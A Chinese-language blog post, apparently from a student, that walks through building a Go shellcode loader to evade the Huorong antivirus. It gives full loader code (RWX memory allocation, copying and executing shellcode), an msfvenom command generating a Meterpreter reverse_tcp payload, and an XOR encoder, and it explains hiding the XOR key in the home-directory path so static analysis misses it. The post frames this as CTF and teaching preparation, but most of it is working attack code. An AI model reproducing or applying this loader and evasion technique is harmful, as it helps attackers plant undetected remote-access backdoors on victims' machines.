1. Shellcode 加载器(go)
我们先看最后的免杀代码
package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlCopyMemory = ntdll.NewProc("RtlCopyMemory")
//shellcode_buf = []byte{
//}
shellcode_buf = []byte{
}
)
func check(e error) {
if e != nil {
if e.Error() != "The operation completed successfully." { // 内存错误
fmt.Println(e.Error())
os.Exit(1)
}
}
}
func main() {
//// xor
homeDir, _ := os.UserHomeDir()
xor := homeDir[3] // U -> 85
decimalValue := int(xor)
shellcode := xorEncrypt(shellcode_buf, decimalValue)
//shellcode := shellcode_buf
fmt.Println(shellcode)
// 申请内存
// MEM_COMMIT|MEM_RESERVE
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if addr == 0 {
check(err)
}
// 写入shellcode
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
check(err)
// 执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
func xorEncrypt(buf []byte, value int) []byte {
for i := 0; i < len(buf); i++ {
buf[i] ^= byte(value)
}
return buf
}
// go build -ldflags="-H windowsgui -w -s" shellcodeLoader.go
2. shellcode 生成
对于shellcode的生成我们采用msf进行生成:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx -f c
对于生成的shellcode,我们如果不进行处理,对于火绒这类的杀毒软件来说,做简单的静态分析,如果坚持到0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50···这些关键字节,肯定会报毒:Backdoor/W64.Meterpreter.f
3.可能的绕过方式
一般来说,为了防止shellcode被检测到,我们通过对shellcode进行处理,如base64加密,亦或等等操作,也可以考虑github的sgn工具。
本文我们主要采用亦或操作(xor)
我们先将msf生成的shellcode进行亦或操作:
# xor.py
shellcode = []
# xor 85
shellcode1 = ''.join(['\\x%02x' % i for i in shellcode])
print(shellcode1)
for i in range(len(shellcode)):
shellcode[i] ^= 85
# 0x格式化输出
shellcode = ''.join(['\\x%02x' % i for i in shellcode])
print(shellcode)
再将shellcode进行替换,并且与目标值进行亦或,就可以获得正确的shellcode。
但是当我们进行编译的时候,任然报毒。
shellcode := xorEncrypt(shellcode_buf, 85)
func xorEncrypt(buf []byte, value int) []byte {
for i := 0; i < len(buf); i++ {
buf[i] ^= byte(value)
}
return buf
}
这是由于火绒在检测的时候如果能明确看到85,会尝试亦或来还原shellcode,base64同理。
所以我们就尝试如果隐藏85,通过读取用户目录来获取。
homeDir, _ := os.UserHomeDir()
xor := homeDir[3] // U -> 85
decimalValue := int(xor)
此时,shellcode是没有问题的,但是在进行编译的时候会遇到内存的报毒:
这个原因是我们在申请内存时,设置内存权限为MEM_COMMIT|MEM_RESERVE;
我们将内存权限设置为MEM_COMMIT就可以了。
4. 免杀效果
查看能否上线
5. 总结
这是第一次尝试免杀,之前一直在学习pwn和web安全,但是在前段时间的上海市大学生磐石行动的比赛中,发现内网中存在杀毒软件,且无法及时绕过,虽然通过文件包含读取到了flag,但是却阻止了我们进一步的渗透利用,最后也只获得了第十一名,与决赛遗憾错过。
回来之后,反思了很多,觉得还是要对免杀进行一部分的学习,go语言的shellcode免杀通过微信推文看到的,决定挺有意思的,便在之后的学习中进行尝试,没想到就成功绕过了火绒(其他杀毒软件还没有尝试过),但是这也激起了我学习的热情。
此外,最近也收到了实验室导师的任务,给本科生同学们准备渗透测试(CTF)的课程,也觉得免杀蛮重要的,顺便也一起给讲了。
学无止境,脚踏实地。